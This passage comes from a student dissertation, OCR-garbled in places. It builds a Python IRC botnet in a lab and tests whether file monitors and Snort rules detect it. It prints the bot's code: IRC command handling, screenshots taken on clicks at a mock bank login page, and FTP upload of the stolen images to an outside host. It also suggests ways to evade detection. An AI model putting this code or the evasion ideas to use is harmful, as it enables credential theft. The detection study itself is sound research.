detection tools are implemented to trigger malicious network activity. Finally,
Section 4.5 explairs how to use the Tcpreplay suite in order to replay background
traffic from the DARPA data set between two endpoints. This background traffic
will be added to some attacks to detect the reliability of the IDS under different
amounts of network traffic speed.

4.2 System configuration

This project needs three virtual machines in total to simulate the experiment. The
Virtual Machine 1 will host the Bot and play the role of the infected host. Virtual
Machine 2 will play the role of the Botmaster by sending commands to the Bot
(V.M.1). The third machine (V.M.3) will analyse the network traffic using an

Intrusion Detection Tool , which will rais e an alarm if malicious traffic is detected.
The project needs to be simulated in seure conditions, even if the source code is
known, the use of a virtual environment will help further because the number of

pre-installed software is minimize d which will reduce the in teractions inside the
operating system and hopefully detect less false positives. Table 2 shows an
overview of the hardware and different software used by the Virtual Machines .

V.M.1is running under Windows XP and Python 2.5 which allow the python co de
execution of the Botnet. Two other tools are also installed, Process monitor which
logs the processs used by the Botnet and Filewatcher which log s the files created
and deleted during the Botnet cycle. The V.M.2 is running under Backtrack, a
penetration testing and security auditing Linux distribution, which has all the tools
required pre -install ed for this experimentation as the communication protocol (IRC)
and is also ableto generate background traffic (Tcpreplay, Tcprewrite and Tcpprep).
The V.M.3 runs Snort, an IDS, which will analyse the network traffic and raise an
alarm if suspicious activity is detected. In addition , the software CPU performance
3.8.5 will log the CPU and RAM utilisation of the IDS durin g the experiment. These

Benoit Jacobt BEng (Hons) Computer Networks & Distributed Systems 31



08009764

Virtual Machines are connected to a Vitual Router in order to ensure secure
communication between each other, represented in figure 9.

Table 2 - Specifications of Virtual Machines

) . Vi | Machine 2 i .
Virtual Machine 1 Intual Machine Virtual Machine 3
(Botmaster and

(Botnet) traffic generator) (IDS)

CPU Intel Core Duo 2 GHz (shared)

Operating Windows XP SP3 | Linux (Backtrack) Windows XP SP3

System

RAM 256 Mo 256 Mo 256 Mo

Hard disc 20 Go 20 Go 20 Go

Software used | Python 2.5 IRC Wireshark
Wireshark Tcprewrite Snort
Processmonitor Tcpreplay Performance Monitor
Filewatcher Tcpprep

%IDS

(e}

>~

S @ *\~
Q >

VM1: Bothet VM2: Botmaster

Figure 10- Diagram of experimental Virtual Network

4.3 Botnet implementation

Stephane Klein [30] explained that the Python syntax is compact and very readable.
With equal functionality, a python program can be 5 to 10 times shorter than a C or
JAVA program and is therefore very lightweight (the script used by the Botnet
weight 3.15KB).

4.3.1 Library

In developing a Python module, the need to study which resources are already
available on the internet is a necessity By containing some modules written in C,
there is the possibility to access system functionality as file I/O which w ould not be
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possible with the use of python code only. These libraries can be found on the
python website [31]. For example, the following libraries, ? ( OET | &&kH 7
capture screenshos [32], ? O UWvhich provide s operating system functionality [33],
and ? | U xvdhBrEimplements the client side of the FTP protocol [34]. The addition
of a library to the script is made by putting importin front of the library a t the head
of the script, asseen in the following code snippet:

# Script Bot net
import ImageGrab
import os

import ftplib

4.3.2 Bot connexion

F'awlUDOT wlOT 1 w P3g,aHe odnrigetion Gobite URE dhannel can take place.
IRC works using a GUI but can also be used with command lines: to join a channel
the command /join channel_namep change nickname /nick nicknameand so on. The
following code snippet used by the Bot to join the IRC channel.

irc = socket.socket(socket.AF_INET, socket.SOCK_STR EAM)
irc.connect((host, 6667))

irc.send('NICK '+ str(nicks) +' \r\n)

irc.send('JOIN '+ channel +' \r\n)

irc.send('NS IDENTIFY '+ str(password) +' \r\n)

4.3.3 Listening for command

Once the Bot has joined the channel, it starts working in passive mode by listening
for commands. The Bot can react to two commands !screenshot and !'upload
command, seen in the next code snippet The detection of one of these commands on
the IRC channel will activate the Bot to start triggering clicks or to upload on an ftp
server, as seenin Section3.4

if text.find(":!screenshot’) = -1

4.3.4 Website filtering

Once the command Iscreenshot is detected, an Internet Explorer windows will pop -
up on the Botnet OS. In the duration of an hour, the URL of this Internet Explorer
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widow will be retrieve d and analysed every five seconds in order to check if it
corresponds to a bank logging webpage. In this experiment, a personal webpage has

been created to simulate the bank webpage(http:// Botagentben.free.fr/logging.html).

The moment when this website is detected, mouse clicks will start being triggered by

using the Pyhooklibrary [36] which can detect mouse events in Windows OS. Once

UT1T wEOPEOwWDUWEIT Ul EUI ®iD uakelplace inblé Gobgtad the? OOE OD |
screenshot, seen below inSection4.3.5 Finally, the mouse trigger will be turn ed off;

the Bot will send a message to tell the Botmasterthat the screenshots are ready for

upload and return to normal operating mode.

if text.find(":!screenshot’) = -1
ie = IEC.IEController()
global x
x=1
while x <= 720:
time.sleep(5)
URL = ie.GetCurrentURLY()
if URL==6http:// Botagentben.free.fr/logging. ht ml'
x = 1000
sendm('[+] Screenshots in progress')
hm = pyHook.HookManager()
hm.SubscribeMouseAllIButtonsDown(onclick)
hm.HookMouse()
hm.UnhookMouse()
sendm('[+] Screenshots ready for upload’)
else:
print ‘'website not detected'
XxX=x+1

4.3.5 Screenshots module

The following Code Snippet shows that once the left click has been triggered, the
function onclickis going to be executed. Using the ImageGraHdibrary [37] allow s the
script to take some screenshos of the victim s screen. By doing a loop of the script,
six screenshots will be taken during the next six clicks. These screenshots will be
saved on the Botnet hard dri ve to upload later.

def onclick(event):

global i

try:
print i

except NamekError:
print "i doesn't exist"
i =1

ifi <=5:
img = ImageGrab.grab()
img.save("screenshots/screenimage%d.jpg" % i)
print ("screenshot n%d taken" % i)
i=i+1

if i >=6 :
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return False

4.3.6 Upload module

The second command which can activate the Botnet is the lupload command, seen in
Section 3.4.3. This command will, thanks to the library ftplib [38], connect to a server
ftp and upload a screenshot. Using a loop, this operation will be done 6 times, and as
a result, transfer six stolen files. Once the upload is finished, the Botnet will

disconnect itself from the ftp server, giving other Bots the opportunity to access it.
Messages will be sert to the IRC channel in order to let the Botmaster know once the
Bot has successfully conneckd to the FTP server and when the files have been sent

if text.find(:!lupload’) != -1
ftp = ftplib. FTP("ftpperso.free.fr")
ﬂp.login("******", "*****")
sendm('[+] Files are being uploaded...")

cpt = 4

while cpt <9:
upload(ftp, "screenshots \ screenlmage%d.jpg” % cpt)
print ("screenshot%d transferred " % cpt)
cpt = cpt+l

sendm('[+] The upload has succeed")

ftp.quit( )

4.4 Host-based detection tools

To ensure the capture of every movement made by the Botnet, a few tools are going
to be used to analyse fileactivity, process activity and network traffic.

4.4.1 File Watcher

The following script is going to capture eve ry file change on the hard disc. The
creation and deletion of files will capture and prompt a message on the
administrator screen. The oslibrary will provide the possibility to manipulate  a path
and use operating system dependant functionality .The other main library used is
the time library which will analyze files at one moment and then again four seconds
later to detect which files have moved during this lapse of time.

import os, time

folder ="C: \ "
before = dict ([(f, None) for f in os.listdir (folder)])
while 1:

time.sleep (4)

now = time.asctime(time.localtime())

after = dict ([(f, None) for f in os.listdir (folder)])
added = [f for f in after if not f in before]

removed = [f for fin before if not f in after]
if added:
print "Added: ", ", ".join (added)
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print now

if removed:
print "Removed: ", ", ".join (removed)
print now

before = after

4.4.2 ProcessMonitor

ProcessMonitor will be running during the experime nt in order to log the process
activities. Results will be saved at the end of the experiment, with the opportunity to
access them later for study.

4.5 Network based detection tools

This Section shows the analysis of the network traffic using nets tat and Wireshark,
seen in Section 3.5.2. Packets generated by theBotnet are going to be captured in
order to help to configure the Snort rules.

4.5.1 Netstat

Netstat [39] is a command line tool that display s active connections Both incoming
and outgoing), Ethernet statistics and IPV4 statistics. It is generally used for finding
problems in the network and determines the amount of traffic on the network. The
command netstatshows the established TCP connectionand TCP ports.

4.5.2 Snort configuration

Snort is an open source Intrusion Detection System. Using rules it can trigger
malicious activity within the network. These sources are accessible from the author

website [40] and can be personalisel UUDOT wUT T w513z U0wOl UT OEGOOD

effective rules [41]. The rules are saved under the nameBotnet.rulesinside Snort rules
directory: /Snort/rules. A few changes need to be made in the configuration files of
Snort, which can be found in /Snort/etc/snort.conf, to raise an alert if one of
Botnet.rulesis detected. The following command is then used to run Snort, which

indicates the path of the configuration file (snort.conf), log folder (Snort \ log) and
also which interface is used to listen to the traffic (ethO):

short -cc: \Snort \ etc \ snort.conf -lc: \Snort \log -iethO ‘

Once Snort is running, alarms can be found inside the log file which contains useful
information  such as packet analysed/dropped, type of Vviolation, IP
source/destination and many others.
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4.6 Background traffic generation

To provide an experiment as real as possible, theBotnet traffic will be merged with
some background traffic, retrieved from the Massachusetts Institute of Technology
[29]. This background traffic was simulated on Tuesday 2" March 1999, during a
twenty -two hour period and was used to test the working order of their IDS.

However, this traffic is free of attacks. This traffic is going to be used with the TCP
replay package which will send the traffic between two hosts in order to test how the
IDS reactsfirstly to a small-scale network with a low network activity and secondly
to a large scalenetwork with intense network traffic. Figure 10 shows the virtual
network structure of the background traffic generation.

@ @192.168.230.130

VM3: IDS

l Listen network activity @ 192.168.230.133

S
S L_J S

VM1: Botnet € VM2: Background traffic

@192.168.230.129

Z

Background traffic Background traffic generator
sent at a different sent at a different
speed speed

Figure 114 Diagram of Virtual Machines used for Background traffic generation

4.6.1 Tcpprep

Tcpprep [42] is the first tool used to manipulate this traffic capture. Thi s tool is going
to create a cache file used to split the traffic in two parts: the client side and the
server side. Splitting the traffic will help the third tool Tcpreplay to send packets
faster, as it will not has to do any calculation to know which pack et is from the client
side or the server side. The following command is used to split the traffic:

tcpprep  -- auto=bridge -- pcap=tcpdump.pcap -- cachefile=input.cache

In the bridge mode, the tcpdump.pcafpacket capture from the DARPA data set) is
split in two sides (client/server) and calculations which define each side are saved
inside the file input.cache.Tcpprep automatically recognise the client side when a
host sends a TCP SYN packet & request for connection) and recognises the server
side when a host acknowledge the TCP SYN using a TCP SYN/ACK packet.

Benoit Jacobt BEng (Hons) Computer Networks & Distributed Systems

37



08009764
4.6.2 Tcprewrite

Tcprewrite [43] is going to rewrite the packet using the cache file input.cache
previously created , by assigning new IP addresses to the client and server. The
following command is used to assign new IP address between the VM2

(192.168.230.133)  which will send the traffic and the VM1 ( 192.168.230.129)  which

will receive the traffic:

tcprewrite -- endpoints=192.168.230.129:192.168.230.133
cachefile=input.cache
-- infile=tcpdump.pcap -- outfile=rewrite_tcpdump.pcap T - skipbroadcast

Forcing the traffic between two hosts is made by creating endpoints between the
hosts. The original traffic capture tcpdump.pca@nd the cache file input.cachecreated
in Section4.5.1 are going to be recalculated in order to create a new traffic capture
rewrite_tcpdump.pcapvhich will only comport traffic between our endpoints V.M.1
and V.M.2.

4.6.3 Tcpreplay

The final packet capture rewrite_tcpdump.pcapreated in Section4.5.2 is now going to
be used with the tool Tcpreplay. This tool is able to read a packet capture and send
the packet back on the wire [44] with dif ferent options such as loop, speed and
others. For the experiment, the packet capture will be sent at speed variations in
order to measure how the server reacts to quantities of background traffic and
attack.

tcpreplay T-mbps=10 -- loop=10 -- intfl=eth0 rewrite_tcpdump.pcap \

This command sends the packet capture rewrite_tcpdump.pcapn the interface ethO.
The option tloop allow s the packet to run several times in order to avoid any traffic

interruption. The traffic speed can be changed using the option t+mbps, in this
example, the traffic is sent with a speed of 10MB per seconds.

4.7 Conclusion

Using Python code, each of the modules seen in the design section have been
successfully produced and implemented within Virtual Machines . According to the
experimental evidence, three Virtual Machines are needed to play different roles:
V.M.1 hosts the Bot, V.M.2 plays the role of Botmaster/traffic generator and V.M.3
will analyse the traffic going across the router and raise an alert if one of the IDS
rules is detected.

Benoit Jacobt BEng (Hons) Computer Networks & Distributed Systems



08009764

The python code compiled in V.M.1 and loaded without errors : the Bot successfully
joined the IRC channel and waited for command from the Botmaster. By taking the

role of the Botmaster under V.M.2, instructions can be sent to the Botacross the IRC
channel. The IDS, Snort, is running inside the VM3 and ready to inspect the network

traffic.
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5 Evaluation

5.1 Introduction

To evaluate the Botnet, the first step is to detect any file changes while the user is
using his computer for navig ating on the web. This activity will be monitored by the
Filewatcher and Processmonitor. The network traffic record during this period will
then be analysad in order to create a set of rules for the IDS which should prevent
the Botnet from interacting wit h the system again. By generating some background
traffic using the DARPA set, the experiment is going to determine whether Snort is
able to detect attacks even with dense network traffic. Figure 11 shows the virtual
network structure used for the evaluati on.

@192.168.230.129

<

VM3: IDS

lListen for malicious

@192.168.130.129 activity @ 192.168.230.133

=

\\\
Q
X
- < < VM2: Background traffic
VML Botnet Background traffic Background traffic + Attacks generator
including attacks sent including attacks sent
at a different speed at a different speed

Figure 124 Diagram Virtual Machines Evaluation

5.2 Host-detection

5.2.1 Filewatcher

The Filewatcher created in Section 4.4 has proven to be inefficient during the
experiment. The reasonbeing, the Filewatcher script can detect changes made inside
a directory but is unable to detect changes in sub-directories. Becausethe path
containing the saved stolen files was unknown at the beginning of the experiment,
another script was needed to make the Filewatcher more flexible and able to watch
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changes made from the roots directory (C:\) until a succession of sub-directories.
Therefore, a new script written by Tim Golden [45] was adapted to the needs of this
project. The main function, which makes this script interesting, is the ability to detect
insertion, deletion and updates of files on t he whole hard-drive within seconds

However, during the experiment, an important number of random files were
detected while the VM1 user was navigating on internet, thus logging a high number
of false positive results. These results occurred because whil e the user was
navigating on the internet, a number of different files such as cookies and temporary
files were stored on the hard drive and detected by the file watcher. These files could
be found in many different forms for example as text, image, HTML and many
others. It was therefore difficult to know which of these files had come from
malicious activity and which were simply related to a normal navigation. A
screenshot of the Filewatcher in activity is available in Appendix 5.

5.2.2 Process monitor

Processmonitor retrieves each operation made inside the system. The expected
results were that a processwould have created five files without the knowledge of
the user. However, during the experiment, the detection of malicious activity failed
because a huge number of fileswere modified and created in each instance. As a
result, it was impossible to filter which process came from malicious activity and
which came from a normal execution. A screenshot of Processmonitor is provided in
Appendi x 3.

5.3 Network traffic detection

5.3.1 Netstat

Netstat can instantly indicate which ports the computer is listening to. By translating
the port to the service associated, it is possible to know which applications are
listening for traffi c. Figure 12 shows which services were running during the
experiment.

The service irc was actually running on the TCP port 6669. However, the userwas
not using IRC in that moment. In order to understand what the irc protocol was
doing, Wireshark will be used in the nextSectionto analyse the network traffic.
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:NUserssBen>netsta
Jonnexions actives
Proto Adresse locale Adresse distante

TICP 127.0.09.1:1840 PC—-de—Ben 50300
TCP 127.8.9.1:50300 PC—-de—-Ben:1848

TCP 192.168.8.184:1088 aB8-221-88-64:http SLOS

TICP 192.168.9.194:1433 ww—in—-f132:http i ABLISHED
TCP 192.168.9.184:1434 ww—in—Ff132:http TABLISHED
TCP 192.168.0.184:1437 nugPi4s81 ~-in~-f181:http TABL l‘)'ll D
ICcp 192.168.8.194:144909 wy—in—f139:http D
TCP 192.168.0.184:1446 Ilm—in—f147:http TABLI \IH-ll
TCP 192.168.09.184:1450 irc:6669 ABL l‘»lHD

Figure 13¢ Netstat command

5.3.2 Wireshark

Wireshark was running continuously inside the Virtual Machine during the

experiment. By using the Wireshark capture with a filter to only keep the IRC traffic:

?20Ex 8 UUE x OU U4 & uBbtheE attvify uinlde ither IRC OHarnell was easily

retrieved. The capture showed that messageswere sent and received across the IRC

channel which indicated that malicious activity was happening, especially when the

Ol UUET T w?2EUIT OUT OUWEEUDYEUI E? umMefeBantfrant Ul | OUIT
the V.M .1 to the IRC channel. Using Snort allow ed the creation of rules in order to

raise an alarm when the activity of this Bot is detected.

5.3.3 Snort

The followings rules were implemented in order to prevent the Botnet malicious
activity. Theserules caused an alertto be raised when:

1. A connection to IRC was detected,
2. A command !screenshot was sent from the IRC channel to the VM infected,

3. A command 'upload was sent from the IRC channel to the VM infected.

#Raised alert if a connection t 0 a IRC channel is detected

alert tcp SHOME_NET any - > $EXTERNAL_NET 6666:7000 (msg:"CHAT IRC channel
join"; flow:to_server,established; content:"JOIN "; classtype:policy -
violation; sid:100345;)

#Raised alert if a command !screenshot, used by the Bot net, is detected on
an IRC channel.

alert tcp SEXTERNAL_NET 6666:7000 - > $HOME_NET any (msg:"CHAT IRC message:
Screenshot command detected"”; flow:established; content:"!screenshot”;

nocase; classtype:policy - violation; sid:100987;)

#Raised alert if a command !'u pload, used by the Bot net, is detected on an

IRC channel.

alert tcp SEXTERNAL_NET 6666:7000 - > $HOME_NET any (msg:"CHAT IRC message:
Upload command detected"; flow:established; content:"lupload"; nocase;

classtype:policy - violation; sid:100876;)
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Some backgound traffic from the DARPA data set was included in the next
experiment to evaluate whether Snort was able to detect attacks coming from smalt
scale network to large-scale network.

5.4 |IDS evaluation

The DARPA data set traffic was sent a different speeds ranging from 10Mb/s to
140Mb/s during a period of 1min and 20sec. During this time, three attacks were
consecutively generated with an interval of 20sec between each The aim of this
experiment was to gauge whether the IDS was able to detectattacks from small-
scale networks (small traffic) to large-scale networks (important traff ic). Figure 13
shows the CPU/Memory utilisation (logged using Performance monitor seen Section
4.2)in correlation with the traffic rate sent across the network. Figure 14 shows the
percentage of Packet loss incorrelation with different traffic rate. Figure 15 shows
the true positive alarm raised by the IDS.

100 -
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60 -
50 -

Overall %
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10 -
0
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Traffic rate Mb/s

40 - —o—CPU usage (%

Figure 144 CPU and Memory utilisation in function of Traffic rate
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Figure 151 Packet loss in function of Traffic rate
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Figure 164 Alarm raised in function of Traffic rate

5.5 Analysis

This experiment has been generated on a shared 2.0GHz CPU with 256NB of RAM.
Figure 13 shows that the CPU utilisation raised in correspondence with the network
traffic, but it did not change the RAM utilisation which stayed similar along the
experiment. The first indication reveal ed that under 30Mb/s the number of packet
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loss was null and the percentage of CPU utilisation was similar or inferior to the
percentage of the RAM utilisation. All of the three attacks were constantly detected
by the IDS.

From 30Mb/s a second indication revealed that the IDS Snort started dropping
packets in small quantity. However, th e loss of packet was minimal and did not
interfere with the correctness of alarms raised during the experiment. The limit of
the CPU capacity has been detected at traffic of 90Mb/s. The CPU utilisation which
was before increasing in correlation with the network traffic suddenly jumped from
70% to 100%. As a result of the maximum efficiency d the CPU, it was possible to
understand that packet loss increas@&l 30% which was because the CPU ould not
deal with the increase of packets. Moreover, despite a CPU utilisation maximum
and a packet loss of neaty a third of the traffic, the IDS was still able to detect the
majority of the attacks sent across the network with only one missed alarm.

5.6 Conclusion

During these experiments, we have seenthat the based-host detection has failed
using the program Process monitor and Filewatcher. However, in respect to the
density of files, which were constantly created and modified by the operating

system, it was not possible to trigger a file which came from a malicious activity.

This operation would have had greater successwith the application of filters inside
the Filewatcher, for example, filters that would trigger modified/created files in a
specific folder rather than the whole of the hard drive. Therefore, the total number of
false positive errors would be reduced becausefile activity investigation would be
more specific. Even so, the malicious attacks would not have been found at all if the
files were saved somewhere else

To conclude, the host based analysis worksmost efficiently once the threat has been
identified and subsequently the correct filter can be applied in the detection tools, as
signature-based software works when the signature is within their database. For
unrecognised malware as in new malware or update of old malware, the detection is
harder and incurs a significant number of false positive errors.

On the network side, after analysing the network -activity and wr iting specific rules
into the IDS, the following resul ts were detected: under 30Mb/s, the IDS is able to
inspect all the packets but from 30 to 90Mb/s an average of 2% of the packets are
generally dropped. Even if each one of the attacks ha been successflly detected
under a traffic rate of 90Mb/s, it is dangerous to say that the system was totally
secure because 2% of the packets dropped could contaied some malicious activity.
After 90Mb/ s, the CPU utilisation jumped to 100% and the IDS started to drop more
packets. The results showed that 35% of the packets have been dropped by the IDS
and one attack at 100Mb/s was not logged. In total, one third of the packets were
dropped proving the IDS to be unreliable. It is therefore important in large
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organisations with heavy network activity to test their IDS in order to know if it is
capable of successfully scaming all the packets sent over the network and does not
drop a percentage of them.

Filter used

Specific research
Whole hard drive research

Less false positive errors but some
malicious files could have not been
missed

Important number of results and
false positive errors

Figure 17+ Host based filter analys is
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6 Conclusion

6.1 Introduction

This chapter concludes the project and determines the degree of advancementand
achievement of the objectives. In order to have a selfreflection on the work carried
out a critical analysis take place and some afterthought about some future work will
conclude this project.

6.2 Meeting the objectives

The objectives of the project listed below include a paragraph of the work done for
eachof them:

6.2.1 Literature Review on Botnets and related threats

This literature review aims at providing the knowledge needed to understand the
operation mode of Botnets. The Botnet taxonomy was provided covering multiple

subjects including, background analysis, C&C architecture, communication
protocols, rallying mechanism, attacks and behaviour s.

In the literature review, it was summarized that each Botnet has different types of
attacks and communication with associated strengths/weaknesses As Botnets are
constantly evolving, all aspects from communication protocols, trigger mechanisms,
attacks to rallying mechanism are constantly evolving and give a hard task for
network defenders.

6.2.2 Analysis of widely-used Botnets, and their associated
behaviour/data remanence

The Section 2.8 provides ananalysis of the three most popular Botnets on internet.
Zeus has been widely spread over internet and has an intuitive web configuration
panel. The web interface used by Zeus to control zombies displays the Bots list,
allowing retrieval of information of each single Bot, adding new scripts/attacks,
revealing the passwords captured, the system options and many more. The Botnet
Koobface is well known for its ability to spread across social engineering websites.
The main attack of Koobface is a data stealer that steals Windows product IDs,
internet profiles, e mails credentials, FTP credentials and IM application credentials.
Finally, the Torpig Botnet includes a rootkit, which allow the Trojan to start up
before any security software, which make it undetectable.

6.2.3 Design of an agent which mimics the behaviour a Botnet, and
associated detection/evaluation tools
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The designs of the agent and detection tools are illustrated in Chapter 3. The agent
created comport two modules as a screen grabber module which is able to take
screenshots once the user is navigatiig on specific website and aFTP upload module
which is used to send the stolen data on aFTP server. Therefore, the Botnet is split
into two sides: host-based module (screen grabber) and network-based module (FTP
upload). Thus, the host-based detection will used a File watcher and Process monitor
to track any files/process activity on the hard -drive and the network-baseddetection
will used Netstat, Wireshark and Snort to trigger any suspicious activity on the
network.

6.2.4 Implementation of test/evaluation tools for the detection and
analysis of Botnet activity

The implementation of two tests take place in this project to analyse the Botnet
activity : The first one aims to discover if the Botnet can be detected using Host
activity and/or Network activity. The detection will be done using the tools seen in
the design chapter. The secondtest aims to evaluate the IDS under an increasing
amount of network traffic. The result should show the reliability or unreliability of
the IDS in function of the traffic.

6.2.5 Evaluation of success rate of detection.

Evaluation of the success rate of detection occurs in chapter 5With the Host-based,
the tool used was revealed to be inefficient due to the number of files
created/modified each time the system is running. In terms of the network -based,
while expanding the network activity, the IDS reveals its limits and start ed to drop
more and more packets. The results shows that under 30Mb/s the IDS is reliable,
between 30 to 90Mb/s the IDS is semireliable by dropping less than 2% of the
packets and after 90Mb/s the IDS become unreliable by dropping greater than 35% of
the packets.

6.3 Critical Analysis of the work carried out

There are a number of limitations within the project. The first limitation of the
experimental Botnet is the screen grabbercomponent. It was seen previously that a
window Internet Explorer pop -up and wait until a bank website is detected.
Therefore, the detection of the bank website happened only within this specific
windows opened by the Bot. The reason being that the Bot is able to catch the PID
(Process identification) when the windows pop -up. However, it would have been
better to make a function capable of scaming the window Internet Explorer
currently opened in order to detectif bank website is actually going to be accessed

The second limitation of this Botnet is the FTP upload. It would take too much time
for a Botmaster to analyse every single screenshot taken by his Bots in order to
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determine an account number. This component can be eficient for only a small -
scale of Botnets but remain inefficient for an upper scale. However, there are
strengths in this experimental Botnet: The first strength is the exchange of messages
between the C&C server and the Bot. Messagescommunicate what the Bot is
actually doing, as they are sent at the beginning of an operation and at the end to
confirm the operation. If a message to confirm, that an operation has been
successfully carried-out, is not received, it concludes to amalfunction

The third limitat ion is the centralized C&C Server. Each single host send messages to
the same C&C server which can be easily triggered by a defender. Moreover, if the
C&C server goes down, every Bots cannot receive messages anymore and thevhole
systemis compromised.

Another strength is the ability for the Bot to run on powerless computer. As seen in
Section 4.2, the Bot can successfully run inside the system without consuming any
major resourceswhich makesit harder for a defender to detect.

Finally, this Botnet, considered malicious as it steals bank passwords, is not detected

by any Anti-virus or security software. As security software generally scans the
EOOxUUI UwUOwi POEwWUT 1T wUEOI wUPT OEVUUUTI wUT EOwU
Botnet remains undetectable.

6.4 Future work

The first improvement concern the communication protocol using IRC which should
be modified because nowadays, many companies block incoming and outgoing

traffic on IRC ports (ports 6665 to 6669). Therefore the C&C server can be improved
using an HTTP server rather than an IRC server. Consequently, it will be possible to
encrypt the communication in tunnelled HTTP or over SSH to send command to the

Bot. This way is more secure because commands are encryptedand cannot be
decrypted by a defender.

The second improvement should aim to create a P2P C&C server.Each Bot has a
private fixed limited size list of seeds that it does not share with the others. It means
that once a host receive a message, it will forward this message to its private list of
seeds. This method exposes only fewBots when one of them is captured

The third extension concerns the use of Dynamic DNS Domain Name to rely to the

C&C server. Using a dynamic DNS means that every Bot need to contact this DNS in

order to retrieve the addr ess of the C&C server. Therefore, if the C&C server goes
down, the Botmaster will only need to tell the DNS that the C&C server has a new

address. In consequence, Bots sending query to the DNS will receive the new
address of the C&C server instantly.
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Anoth er experiment could have been carried out by using different type of CPU
power for the IDS. We saw in Section 5.4 that during the experiment when the
network activity increases, the CPU utilisation increased but the RAM does not
change. Therefore, it would have beenbeneficial to record some statistic based on
the IDS effectiveness by measuring the CPU needed for different types of network
activity. This experiment can be useful to companies who do not know how
powerful the IDS host needs to be in order to have maximum efficiency. Figure 17
shows a draft of the future statistics.

12
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6 /
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4 /é_/ < 5% packets droppe:
2

10 Mb/s 20 Mb/s 40 Mb/s 60 Mb/s 80 Mb/s 100 Mb/s

oo
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CPU @ GH:

Figure 1814 Draft of Future work

Another area of work Honey Pot concerns the honeypots. w? 1 OO1 axOU~2» wbUwWE
constructed computer or network trap designed to attract and detect malicious

attacks [18]. This kind of trap is becoming popular and used by many researchers in

order to analyse the threats travelling on the internet [19] [20] [21]. A website called

Project Honey Pot [22] has been created with the singular mission of helping design

and enforce effective anti-spam laws. The honeypot trap consists by creating an un-

secure network armed of multiples sensor. Once the network is infected and rally the

Botnet, all the communication to the C&C server are analysed in order to dismantle

the Botnet.
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Appendix 1 - Initial Project
Overview

1. Overview of Project Content and Milestones

Botnets started being introduced in 2002 as a rdbot helping user on IRC channel.
This report explains firstly , how Botnets moved from a state of helping users to a
state of making cyber war.

Then | will research what are the main dangerous Botnets, how they functions and
why they are dangerous for the society.

Botnets are published under a GPL license. | will examine some of their code and
create my own one. Then | will detect it with a network analyzer and see which data
remanence it left on the computer.

2. The Main Deliverable(s)
- Literature Review on Botnets and related threats.
- Analysis of widely -used Botnet, and their associated behaviour/data remanence.

- Design of an agent which mimics the behaviour a Botnet, and associated
detection/evaluation tools.

- Implementation of test/evaluation tools for the detection and analysis of Botnet
activity.

- Evaluation of success rate of detection.

3. The Target Audience for the Deliverable(s)

Network administrator, Security Engineer and Research Community.

4. The Work to be Undertaken

Investigation on Botnets literature to understand how they infect computers and
why they are generally not detected by an antivirus.

Specification of their different functions once they start running on the system
Code analysis of severalBotnets (usually programmed in C)

Implementation of a code inside an existing Botnet to create my own one
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Testing its performance/functions and search about its data collection.

5. Additional Information / Knowledge Required
Use of a network analyzer like Snort or Wireshark to detect the Botnet.

Extending current skills in C to create aBotnet.

6. Information Sources that Provide a Context for the Project
Botnet: The killer web app, written in 2007 by Craig A. Schiller and Jim Binkley.

Expanded Academic ASAP (Gale) and portal databases to retrieve electronic articles.

7. The Importance of the Project

Botnet appears several years ago and are today one of the most important threat in

the history of Internet. Once a system is infected, the Botnet become invulnerable

and start his duplication to others systems. BotOl UUWEUI wOOUwWOEOPEUI Ow
to demonstrate technical problems but they are used in illegal activities controlled by

a Botmaster. They are a majorpart of the unwanted traffic on internet.

8. The Key Challenge(s) to be Overcome
Literature review on the last research in Botnets.
Programming a new Botnet

Detect Botnet activities and data remanence.
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Appendix 2 - Week 9 Meeting
Report

SOC10101 Honours Project (40 Credits)

(please delete one)

Week 9 Report

Student Name: B ensit Toceln
Matriculation Number: CReeRF oA |
Programme (and any specialisation):

Supervisor:

Second Marker:

Date of Meeting:

Can the student provide evidence of attending supervision meetings by means of
project diary sheets or other equivalent mechanism? yes no*

If not, please comment on any reasons presented

Mas .

Please comment on the progress made so far

Lovws ok,

Is the progress satisfactoryyes) no* _ et ok M\\ S m&%
Can the student articulate their aims and objectives@; no* T P‘M\‘k--\
If yes then please comment on them, otherwise write down your suggestions.

P VN SO VS PU WS VRt WP PN
sAsdand Sossary ESCF ANV QQLQJ o \u\m& Nt

% \N"QQU““%&N\E ond &QR&-\)&%«\'\%& \Q\N\S
v SLEAWY  weads do ‘.lo&\ CR AT Vk‘&o\&\d n‘f’f”&”) at%k&(c
\n&on;m_r“ [u.d« othwds o CaIY ) soc pt‘;l

* Please circle one answer; if no is circled then this must be amplified in the space provided
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AN
Does the student have a plan of work?(yes) no*
If yes then please comment on that plan otherwise write down your suggestions.

Plos k \w&m»é;&m\ ] 'Eue&\)c:\iu\rs neals w&m‘)&.

Does the student know how they are going to evaluate their work@ no*
If yes then please comment otherwise write down your suggestions.

\I)C\cso& "\Qg&v« o M_R&s ot &&mix\lw\.

Any other recommendations as to the future direction of the project
S hadask mﬁ»g Ao —‘<\N3-\k < ‘A’Q%”\X& O&m"é‘

QX%@\W«&B N‘&“&‘& . Wesge \““‘?Q“’&AQ&“ A T
SR 'L':Oc&ou&i“u—- 2

" // \ 3 »\
Signatures: Supervisor W\ﬁ@/{ /M\ Second Marker O&\mi /Q-LM

Studentﬂ;L':EE
Please give the student a photocopy of this form immediately after the review

meeting; the original should be lodged in the School Office with Leanne Clyde

* Please circle one answer; if no is circled then this must be amplified in the space provided
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Appendix 3 - Screenshots

Figure 19¢ File watcher False Positive error

Figure 20+ Website used during the experiment
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